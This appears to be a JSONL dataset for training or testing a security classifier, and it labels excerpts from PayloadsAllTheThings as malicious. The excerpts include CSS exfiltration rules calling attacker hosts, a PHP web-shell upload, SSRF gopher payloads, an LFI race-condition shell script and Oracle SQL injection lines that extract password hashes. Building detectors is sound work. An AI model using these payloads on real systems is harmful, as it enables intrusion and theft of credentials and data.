deserialization](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization)\n* [PortSwigger - Developing a custom gadget chain for PHP deserialization](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization)\n* [PortSwigger - Using PHAR deserialization to deploy a custom gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-phar-dese", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "Insecure deserialization payload from Insecure Deserialization/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00086", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<html>\n    <body>\n        <iframe src=\"/etc/passwd\" height=\"640\" width=\"640\"></iframe>\n    </body>\n</html>", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "high", "explanation": "Headless browser exploitation payload from Headless Browser/iframe.html. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00087", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# CSS Injection\n\n> CSS Injection is a vulnerability that occurs when an application allows untrusted CSS to be injected into a web page. This can be exploited to exfiltrate sensitive data, such as CSRF tokens or other secrets, by manipulating the page layout or triggering network requests based on element attributes.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n    * [CSS Selectors](#css-selectors)\n    * [CSS Import at-rule](#css-import-at-rule)\n    * [CSS Conditionals](#css-conditionals)\n    * [CSS Font-face at-rule](#css-font-face-at-rule)\n    * [Attribute Extraction via attr()](#attribute-extraction-via-attr)\n    * [Ligatures](#ligatures)\n* [Labs](#labs)\n* [References](#references)\n\n## Tools\n\n* [hackvertor/blind-css-exfiltration](https://github.com/hackvertor/blind-css-exfiltration) - A tool to exfiltrate unknown web pages using Blind CSS.\n* [PortSwigger/css-exfiltration](https://github.com/PortSwigger/css-exfiltration) - Collection of CSS based exfiltration techniques.\n* [cgvwzq/css-scrollbar-attack](https://github.com/cgvwzq/css-scrollbar-attack) - PoC for leaking text nodes via CSS injection using scrollbars.\n* [d0nutptr/sic](https://github.com/d0nutptr/sic) - Sequential Import Chaining for advanced CSS exfiltration.\n* [adrgs/fontleak](https://github.com/adrgs/fontleak) - Tool for fast exfiltration of text using only CSS and Ligatures.\n\n## Methodology\n\n### CSS Selectors\n\nCSS selectors can be used to exfiltrate data. This technique is particularly useful because CSS is often allowed in CSP rules, whereas JavaScript is frequently blocked.\n\nThe attack works by brute-forcing a token character by character. Once the first character is identified, the payload is updated to guess the second character, and so on. This often requires an iframe to reload the page with the new payload.\n\n* `input[value^=a]` (prefix attribute selector): Selects elements where the value starts with \"a\".\n* `input[value$=a]` (suffix attribute selector): Selects elements where the value ends with \"a\".\n* `input[value*=a]` (substring attribute selector): Selects elements where the value contains \"a\".\n\n#### Exfiltration via Background Image\n\nWhen a selector matches, the browser attempts to load the background image from a URL controlled by the attacker, thereby leaking the character.\n\n```css\ninput[value^=\"TOKEN_012\"] {\n  background-image: url(http://attacker.example.com/?prefix=TOKEN_012);\n}\n```\n\n```css\ninput[name=\"pin\"][value=\"1234\"] {\n  background: url(https://attacker.com/log?pin=1234);\n}\n```\n\n**Tips:**\n\n* **Hidden Inputs**: You cannot apply a background image directly to a hidden input field. Instead, use a sibling selector (`+` or `~`) to style a visible element that appears after the hidden input.\n\n```css\ninput[name=\"csrf-token\"][value^=\"a\"] + input {\n  background: url(https://example.com?q=a)\n}\n```\n\n* **Has Selector**: The `:has()` pseudo-class allows styling a parent element based on its children.\n\n```css\ndiv:has(input[value=\"1337\"]) {\n  background:url(/collectData?value=1337);\n}\n```\n\n* **Concurrency**: Use both prefix and suffix selectors to speed up the guessing process. You can assign the prefix check to one property (e.g., `background`) and the suffix check to another (e.g., `list-style-image` or `border-image`).\n\n### CSS Import at-rule\n\nThis technique is known as **Blind CSS Exfiltration**. It relies on importing external stylesheets to trigger callbacks.\n\n```html\n<style>@import url(http://attacker.com/staging?len=32);</style>\n<style>@import'//YOUR-PAYLOAD.oastify.com'</style>\n```\n\nFrames do not always need to be reloaded to reevaluate CSS. The `@import` rule allows for latency; the browser will process the import and apply the new styles.\n\n#### Sequential Import Chaining (SIC)\n\nSIC allows an attacker to chain multiple extraction steps without reloading the page:\n\n1. Inject an initial `@import` rule pointing to a staging payload.\n2. The staging payload holds the connection open (long-polling) while generating the next specific p", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "medium", "explanation": "CSS injection payload from CSS Injection/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00088", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<script language=\"php\">system(\"id\");</script>", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/php-script-tag.php. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00089", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Prototype Pollution\n\n> Prototype pollution is a type of vulnerability that occurs in JavaScript when properties of Object.prototype are modified. This is particularly risky because JavaScript objects are dynamic and we can add properties to them at any time. Also, almost all objects in JavaScript inherit from Object.prototype, making it a potential attack vector.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n    * [Examples](#examples)\n    * [Manual Testing](#manual-testing)\n    * [Prototype Pollution via JSON Input](#prototype-pollution-via-json-input)\n    * [Prototype Pollution in URL](#prototype-pollution-in-url)\n    * [Prototype Pollution Payloads](#prototype-pollution-payloads)\n    * [Prototype Pollution Gadgets](#prototype-pollution-gadgets)\n* [Labs](#labs)\n* [References](#references)\n\n## Tools\n\n* [yeswehack/pp-finder](https://github.com/yeswehack/pp-finder) - Help you find gadget for prototype pollution exploitation\n* [yuske/silent-spring](https://github.com/yuske/silent-spring) - Prototype Pollution Leads to Remote Code Execution in Node.js\n* [yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution) - Server-Side Prototype Pollution gadgets in Node.js core code and 3rd party NPM packages\n* [BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution) - Prototype Pollution and useful Script Gadgets\n* [portswigger/server-side-prototype-pollution](https://github.com/portswigger/server-side-prototype-pollution) - Burp Suite Extension detectiong Prototype Pollution vulnerabilities\n* [msrkp/PPScan](https://github.com/msrkp/PPScan) - Client Side Prototype Pollution Scanner\n\n## Methodology\n\nIn JavaScript, prototypes are what allow objects to inherit features from other objects. If an attacker is able to add or modify properties of `Object.prototype`, they can essentially affect all objects that inherit from that prototype, potentially leading to various kinds of security risks.\n\n```js\nvar myDog = new Dog();\n```\n\n```js\n// Points to the function \"Dog\"\nmyDog.constructor;\n```\n\n```js\n// Points to the class definition of \"Dog\"\nmyDog.constructor.prototype;\nmyDog.__proto__;\nmyDog[\"__proto__\"];\n```\n\n### Examples\n\n* Imagine that an application uses an object to maintain configuration settings, like this:\n\n    ```js\n    let config = {\n        isAdmin: false\n    };\n    ```\n\n* An attacker might be able to add an `isAdmin` property to `Object.prototype`, like this:\n\n    ```js\n    Object.prototype.isAdmin = true;\n    ```\n\n### Manual Testing\n\n* ExpressJS: `{ \"__proto__\":{\"parameterLimit\":1}}` + 2 parameters in GET request, at least 1 must be reflected in the response.\n* ExpressJS: `{ \"__proto__\":{\"ignoreQueryPrefix\":true}}` + `??foo=bar`\n* ExpressJS: `{ \"__proto__\":{\"allowDots\":true}}` + `?foo.bar=baz`\n* Change the padding of a JSON response: `{ \"__proto__\":{\"json spaces\":\" \"}}` + `{\"foo\":\"bar\"}`, the server should return `{\"foo\": \"bar\"}`\n* Modify CORS header responses: `{ \"__proto__\":{\"exposedHeaders\":[\"foo\"]}}`, the server should return the header `Access-Control-Expose-Headers`.\n* Change the status code: `{ \"__proto__\":{\"status\":510}}`\n\n### Prototype Pollution via JSON Input\n\nYou can access the prototype of any object via the magic property `__proto__`.\nThe `JSON.parse()` function in JavaScript is used to parse a JSON string and convert it into a JavaScript object. Typically it is a sink function where prototype pollution can happen.\n\n```js\n{\n    \"__proto__\": {\n        \"evilProperty\": \"evilPayload\"\n    }\n}\n```\n\nAsynchronous payload for NodeJS.\n\n```js\n{\n  \"__proto__\": {\n    \"argv0\":\"node\",\n    \"shell\":\"node\",\n    \"NODE_OPTIONS\":\"--inspect=payload\\\"\\\".oastify\\\"\\\".com\"\n  }\n}\n```\n\nPolluting the prototype via the `constructor` property instead.\n\n```js\n{\n    \"constructor\": {\n        \"prototype\": {\n            \"foo\": \"bar\",\n            \"json spaces\": 10\n        }\n    }\n}\n```\n\n### Prototype Pollution in URL\n\nExample of Prototype Pollution payloads fo", "findings": [{"category": "malicious", "subcategory": "malicious.prototype_pollution", "severity": "high", "explanation": "JavaScript prototype pollution payload from Prototype Pollution/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00090", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Java RMI\n\n> Java RMI (Remote Method Invocation) is a Java API that allows an object running in one JVM (Java Virtual Machine) to invoke methods on an object running in another JVM, even if they're on different physical machines. RMI provides a mechanism for Java-based distributed computing.\n\n## Summary\n\n* [Tools](#tools)\n* [Detection](#detection)\n* [Methodology](#methodology)\n    * [RCE using beanshooter](#rce-using-beanshooter)\n    * [RCE using sjet/mjet](#rce-using-sjet-or-mjet)\n    * [RCE using Metasploit](#rce-using-metasploit)\n* [References](#references)\n\n## Tools\n\n* [siberas/sjet](https://github.com/siberas/sjet) - siberas JMX exploitation toolkit\n* [mogwailabs/mjet](https://github.com/mogwailabs/mjet) - MOGWAI LABS JMX exploitation toolkit\n* [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - Java RMI Vulnerability Scanner\n* [qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) - JMX enumeration and attacking tool.\n\n## Detection\n\n* Using [nmap](https://nmap.org/):\n\n  ```powershell\n  $ nmap -sV --script \"rmi-dumpregistry or rmi-vuln-classloader\" -p TARGET_PORT TARGET_IP -Pn -v\n  1089/tcp open  java-rmi Java RMI\n  | rmi-vuln-classloader:\n  |   VULNERABLE:\n  |   RMI registry default configuration remote code execution vulnerability\n  |     State: VULNERABLE\n  |       Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.\n  | rmi-dumpregistry:\n  |   jmxrmi\n  |     javax.management.remote.rmi.RMIServerImpl_Stub\n  ```\n\n* Using [qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser):\n\n  ```bash\n  $ rmg scan 172.17.0.2 --ports 0-65535\n  [+] Scanning 6225 Ports on 172.17.0.2 for RMI services.\n  [+]  [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)\n  [+]  [HIT] Found RMI service(s) on 172.17.0.2:1090  (Registry, DGC)\n  [+]  [HIT] Found RMI service(s) on 172.17.0.2:9010  (Registry, Activator, DGC)\n  [+]  [6234 / 6234] [#############################] 100%\n  [+] Portscan finished.\n\n  $ rmg enum 172.17.0.2 9010\n  [+] RMI registry bound names:\n  [+]\n  [+]  - plain-server2\n  [+]   --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)\n  [+]       Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]\n  [+]  - legacy-service\n  [+]   --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)\n  [+]       Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]\n  [+]  - plain-server\n  [+]   --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)\n  [+]       Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]\n  [...]\n  ```\n\n* Using [rapid7/metasploit-framework](https://github.com/rapid7/metasploit-framework)\n\n  ```bash\n  use auxiliary/scanner/misc/java_rmi_server\n  set RHOSTS <IPs>\n  set RPORT <PORT>\n  run\n  ```\n\n## Methodology\n\nIf a Java Remote Method Invocation (RMI) service is poorly configured, it becomes vulnerable to various Remote Code Execution (RCE) methods. One method involves hosting an MLet file and directing the JMX service to load MBeans from a distant server, achievable using tools like mjet or sjet. The remote-method-guesser tool is newer and combines RMI service enumeration with an overview of recognized attack strategies.\n\n### RCE using beanshooter\n\n* List available attributes: `beanshooter info 172.17.0.2 9010`\n* Display value of an attribute: `beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose`\n* Set the value of an attribute: `beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean`\n* Bruteforce a password protected JMX service: `beanshooter brute 172.17.0.2 1090`\n* List registered MBeans: `beanshooter list 172.17.0.2 9010`\n* Deploy an MBean: `beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000`\n* Enumerate JMX endpoint: `beanshooter enum", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Java RMI exploitation payload from Java RMI/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00091", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# LFI to RCE\n\n> LFI (Local File Inclusion) is a vulnerability that occurs when a web application includes files from the local file system, often due to insecure handling of user input. If an attacker can control the file path, they can potentially include sensitive or dangerous files such as system files (/etc/passwd), configuration files, or even malicious files that could lead to Remote Code Execution (RCE).\n\n## Summary\n\n- [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)\n- [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)\n- [LFI to RCE via iconv](#lfi-to-rce-via-iconv)\n- [LFI to RCE via upload](#lfi-to-rce-via-upload)\n- [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)\n- [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile)\n- [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)\n- [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)\n    - [RCE via SSH](#rce-via-ssh)\n    - [RCE via Mail](#rce-via-mail)\n    - [RCE via Apache logs](#rce-via-apache-logs)\n- [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)\n- [LFI to RCE via PHP PEARCMD](#lfi-to-rce-via-php-pearcmd)\n- [LFI to RCE via Credentials Files](#lfi-to-rce-via-credentials-files)\n\n## LFI to RCE via /proc/*/fd\n\n1. Upload a lot of shells (for example : 100)\n2. Include `/proc/$PID/fd/$FD` where `$PID` is the PID of the process and `$FD` the filedescriptor. Both of them can be bruteforced.\n\n```ps1\nhttp://example.com/index.php?page=/proc/$PID/fd/$FD\n```\n\n## LFI to RCE via /proc/self/environ\n\nLike a log file, send the payload in the `User-Agent` header, it will be reflected inside the `/proc/self/environ` file\n\n```powershell\nGET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1\nUser-Agent: <?=phpinfo(); ?>\n```\n\n## LFI to RCE via iconv\n\nUse the iconv wrapper to trigger an OOB in the glibc (CVE-2024-2961), then use your LFI to read the memory regions from `/proc/self/maps` and to download the glibc binary. Finally you get the RCE by exploiting the `zend_mm_heap` structure to call a `free()` that have been remapped to `system` using `custom_heap._free`.\n\n**Requirements**:\n\n- PHP 7.0.0 (2015) to 8.3.7 (2024)\n- GNU C Library (`glibc`) <=  2.39\n- Access to `convert.iconv`, `zlib.inflate`, `dechunk` filters\n\n**Exploit**:\n\n- [ambionics/cnext-exploits](https://github.com/ambionics/cnext-exploits/tree/main)\n\n## LFI to RCE via upload\n\nIf you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).\n\n```powershell\nhttp://example.com/index.php?page=path/to/uploaded/file.png\n```\n\nIn order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf\n\n## LFI to RCE via upload (race)\n\n- Upload a file and trigger a self-inclusion.\n- Repeat the upload a shitload of time to:\n- increase our odds of winning the race\n- increase our guessing odds\n- Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}\n- Enjoy our shell.\n\n```python\nimport itertools\nimport requests\nimport sys\n\nprint('[+] Trying to win the race')\nf = {'file': open('shell.php', 'rb')}\nfor _ in range(4096 * 4096):\n    requests.post('http://target.com/index.php?c=index.php', f)\n\n\nprint('[+] Bruteforcing the inclusion')\nfor fname in itertools.combinations(string.ascii_letters + string.digits, 6):\n    url = 'http://target.com/index.php?c=/tmp/php' + fname\n    r = requests.get(url)\n    if 'load average' in r.text:  # <?php echo system('uptime');\n        print('[+] We have got a shell: ' + url)\n        sys.exit(0)\n\nprint('[x] Something went wrong, please try again')\n```\n\n## LFI to RCE via upload (FindFirstFile)\n\n:warning: Only works on Windows\n\n`FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or d", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/LFI-to-RCE.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00092", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# SSRF Advanced Exploitation\n\n> Some services (e.g., Redis, Elasticsearch) allow unauthenticated data writes or command execution when accessed directly. An attacker could exploit SSRF to interact with these services, injecting malicious payloads like web shells or manipulating application state.\n\n## Summary\n\n* [DNS AXFR](#dns-axfr)\n* [FastCGI](#fastcgi)\n* [Memcached](#memcached)\n* [MySQL](#memcached)\n* [Redis](#redis)\n* [SMTP](#smtp)\n* [WSGI](#wsgi)\n* [Zabbix](#zabbix)\n* [References](#references)\n\n## DNS AXFR\n\nQuery an internal DNS resolver to trigger a full zone transfer (**AXFR**) and exfiltrate a list of subdomains.\n\n```py\nfrom urllib.parse import quote\ndomain,tld = \"example.lab\".split('.')\ndns_request =  b\"\\x01\\x03\\x03\\x07\"    # BITMAP\ndns_request += b\"\\x00\\x01\"            # QCOUNT\ndns_request += b\"\\x00\\x00\"            # ANCOUNT\ndns_request += b\"\\x00\\x00\"            # NSCOUNT\ndns_request += b\"\\x00\\x00\"            # ARCOUNT\ndns_request += len(domain).to_bytes() # LEN DOMAIN\ndns_request += domain.encode()        # DOMAIN\ndns_request += len(tld).to_bytes()    # LEN TLD\ndns_request += tld.encode()           # TLD\ndns_request += b\"\\x00\"                # DNAME EOF\ndns_request += b\"\\x00\\xFC\"            # QTYPE AXFR (252)\ndns_request += b\"\\x00\\x01\"            # QCLASS IN (1)\ndns_request = len(dns_request).to_bytes(2, byteorder=\"big\") + dns_request\nprint(f'gopher://127.0.0.1:25/_{quote(dns_request)}')\n```\n\nExample of payload for `example.lab`: `gopher://127.0.0.1:25/_%00%1D%01%03%03%07%00%01%00%00%00%00%00%00%07example%03lab%00%00%FC%00%01`\n\n```ps1\ncurl -s -i -X POST -d 'url=gopher://127.0.0.1:53/_%2500%251d%25a9%25c1%2500%2520%2500%2501%2500%2500%2500%2500%2500%2500%2507%2565%2578%2561%256d%2570%256c%2565%2503%256c%2561%2562%2500%2500%25fc%2500%2501' http://localhost:5000/ssrf --output - | xxd\n```\n\n## FastCGI\n\nRequires to know the full path of one PHP file on the server, by default the exploit is using `/usr/share/php/PEAR.php`.\n\n```ps1\ngopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3F%3E%00%00%00%00\n```\n\n## Memcached\n\nMemcached communicates over port 11211 by default. While it is primarily used for storing serialized data to enhance application performance, vulnerabilities can arise during the deserialization of this data.\n\n```ps1\npython2.7 ./gopherus.py --exploit pymemcache\npython2.7 ./gopherus.py --exploit rbmemcache\npython2.7 ./gopherus.py --exploit phpmemcache\npython2.7 ./gopherus.py --exploit dmpmemcache\n```\n\n## MySQL\n\nMySQL user should not be password protected.\n\n```ps1\n$ python2.7 ./gopherus.py --exploit mysql\nGive MySQL username: root\nGive query to execute: SELECT 123;\n\ngopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%00%00%00%03%53%45%4c%45%43%54%20%31%32%33%3b%01%00%00%00%01\n```\n\n## Redis\n\n> Redis is a database system that stores everything in RAM\n\nThe attacker changes Redis's dump directory to the web server's document root (`/var/www/html`) and renames the dump file to `file.php`, ensuring that when the database is saved, it generates a PHP file. They then create a Redis key (`mykey`) co", "findings": [{"category": "malicious", "subcategory": "malicious.ssrf", "severity": "high", "explanation": "Server-side request forgery payload from Server Side Request Forgery/SSRF-Advanced-Exploitation.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00093", "source": "payloads_all_the_things", "source_license": "MIT", "text": "//google.com/%2f..\n//www.whitelisteddomain.tld@google.com/%2f..\n///google.com/%2f..\n///www.whitelisteddomain.tld@google.com/%2f..\n////google.com/%2f..\n////www.whitelisteddomain.tld@google.com/%2f..\nhttps://google.com/%2f..\nhttps://www.whitelisteddomain.tld@google.com/%2f..\n/https://google.com/%2f..\n/https://www.whitelisteddomain.tld@google.com/%2f..\n//www.google.com/%2f%2e%2e\n//www.whitelisteddomain.tld@www.google.com/%2f%2e%2e\n///www.google.com/%2f%2e%2e\n///www.whitelisteddomain.tld@www.google.com/%2f%2e%2e\n////www.google.com/%2f%2e%2e\n////www.whitelisteddomain.tld@www.google.com/%2f%2e%2e\nhttps://www.google.com/%2f%2e%2e\nhttps://www.whitelisteddomain.tld@www.google.com/%2f%2e%2e\n/https://www.google.com/%2f%2e%2e\n/https://www.whitelisteddomain.tld@www.google.com/%2f%2e%2e\n//google.com/\n//www.whitelisteddomain.tld@google.com/\n///google.com/\n///www.whitelisteddomain.tld@google.com/\n////google.com/\n////www.whitelisteddomain.tld@google.com/\nhttps://google.com/\nhttps://www.whitelisteddomain.tld@google.com/\n/https://google.com/\n/https://www.whitelisteddomain.tld@google.com/\n//google.com//\n//www.whitelisteddomain.tld@google.com//\n///google.com//\n///www.whitelisteddomain.tld@google.com//\n////google.com//\n////www.whitelisteddomain.tld@google.com//\nhttps://google.com//\nhttps://www.whitelisteddomain.tld@google.com//\n//https://google.com//\n//https://www.whitelisteddomain.tld@google.com//\n//www.google.com/%2e%2e%2f\n//www.whitelisteddomain.tld@www.google.com/%2e%2e%2f\n///www.google.com/%2e%2e%2f\n///www.whitelisteddomain.tld@www.google.com/%2e%2e%2f\n////www.google.com/%2e%2e%2f\n////www.whitelisteddomain.tld@www.google.com/%2e%2e%2f\nhttps://www.google.com/%2e%2e%2f\nhttps://www.whitelisteddomain.tld@www.google.com/%2e%2e%2f\n//https://www.google.com/%2e%2e%2f\n//https://www.whitelisteddomain.tld@www.google.com/%2e%2e%2f\n///www.google.com/%2e%2e\n///www.whitelisteddomain.tld@www.google.com/%2e%2e\n////www.google.com/%2e%2e\n////www.whitelisteddomain.tld@www.google.com/%2e%2e\nhttps:///www.google.com/%2e%2e\nhttps:///www.whitelisteddomain.tld@www.google.com/%2e%2e\n//https:///www.google.com/%2e%2e\n//www.whitelisteddomain.tld@https:///www.google.com/%2e%2e\n/https://www.google.com/%2e%2e\n/https://www.whitelisteddomain.tld@www.google.com/%2e%2e\n///www.google.com/%2f%2e%2e\n///www.whitelisteddomain.tld@www.google.com/%2f%2e%2e\n////www.google.com/%2f%2e%2e\n////www.whitelisteddomain.tld@www.google.com/%2f%2e%2e\nhttps:///www.google.com/%2f%2e%2e\nhttps:///www.whitelisteddomain.tld@www.google.com/%2f%2e%2e\n/https://www.google.com/%2f%2e%2e\n/https://www.whitelisteddomain.tld@www.google.com/%2f%2e%2e\n/https:///www.google.com/%2f%2e%2e\n/https:///www.whitelisteddomain.tld@www.google.com/%2f%2e%2e\n/%09/google.com\n/%09/www.whitelisteddomain.tld@google.com\n//%09/google.com\n//%09/www.whitelisteddomain.tld@google.com\n///%09/google.com\n///%09/www.whitelisteddomain.tld@google.com\n////%09/google.com\n////%09/www.whitelisteddomain.tld@google.com\nhttps://%09/google.com\nhttps://%09/www.whitelisteddomain.tld@google.com\n/%5cgoogle.com\n/%5cwww.whitelisteddomain.tld@google.com\n//%5cgoogle.com\n//%5cwww.whitelisteddomain.tld@google.com\n///%5cgoogle.com\n///%5cwww.whitelisteddomain.tld@google.com\n////%5cgoogle.com\n////%5cwww.whitelisteddomain.tld@google.com\nhttps://%5cgoogle.com\nhttps://%5cwww.whitelisteddomain.tld@google.com\n/https://%5cgoogle.com\n/https://%5cwww.whitelisteddomain.tld@google.com\nhttps://google.com\nhttps://www.whitelisteddomain.tld@google.com\njavascript:alert(1);\njavascript:alert(1)\n//javascript:alert(1);\n/javascript:alert(1);\n//javascript:alert(1)\n/javascript:alert(1)\n/%5cjavascript:alert(1);\n/%5cjavascript:alert(1)\n//%5cjavascript:alert(1);\n//%5cjavascript:alert(1)\n/%09/javascript:alert(1);\n/%09/javascript:alert(1)\njava%0d%0ascript%0d%0a:alert(0)\n//google.com\nhttps:google.com\n//google%E3%80%82com\n\\/\\/google.com/\n/\\/google.com/\n//google%00.com\nhttps://www.whitelisteddomain.tld/https://www.google.com/\n\";alert(0);//\njavascript://www.whitelisteddomain.tld?%a0alert%281%29", "findings": [{"category": "malicious", "subcategory": "malicious.phishing", "severity": "medium", "explanation": "Open redirect payload from Open Redirect/Open-Redirect-payloads.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00094", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# contains statements from jbrofuzz\n\u2019 or \u20181\u2019=\u20191\n' or '1'='1\n'||utl_http.request('httP://192.168.1.1/')||'\n' || myappadmin.adduser('admin', 'newpass') || '\n' AND 1=utl_inaddr.get_host_address((SELECT banner FROM v$version WHERE ROWNUM=1)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT SYS.LOGIN_USER FROM DUAL)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT SYS.DATABASE_NAME FROM DUAL)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT host_name FROM v$instance)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT global_name FROM global_name)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(table_name)) FROM sys.all_tables)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(column_name)) FROM sys.all_tab_columns)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$) WHERE LIMIT=1)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(table_name) FROM (SELECT DISTINCT(table_name), ROWNUM AS LIMIT FROM sys.all_tables) WHERE LIMIT=1)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(column_name) FROM (SELECT DISTINCT(column_name), ROWNUM AS LIMIT FROM all_tab_columns) WHERE LIMIT=1)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(granted_role) FROM (SELECT DISTINCT(granted_role), ROWNUM AS LIMIT FROM dba_role_privs WHERE GRANTEE=SYS.LOGINUSER) WHERE LIMIT=1)) AND 'i'='i\n' AND 1=utl_inaddr.get_host_address((SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=2)) AND 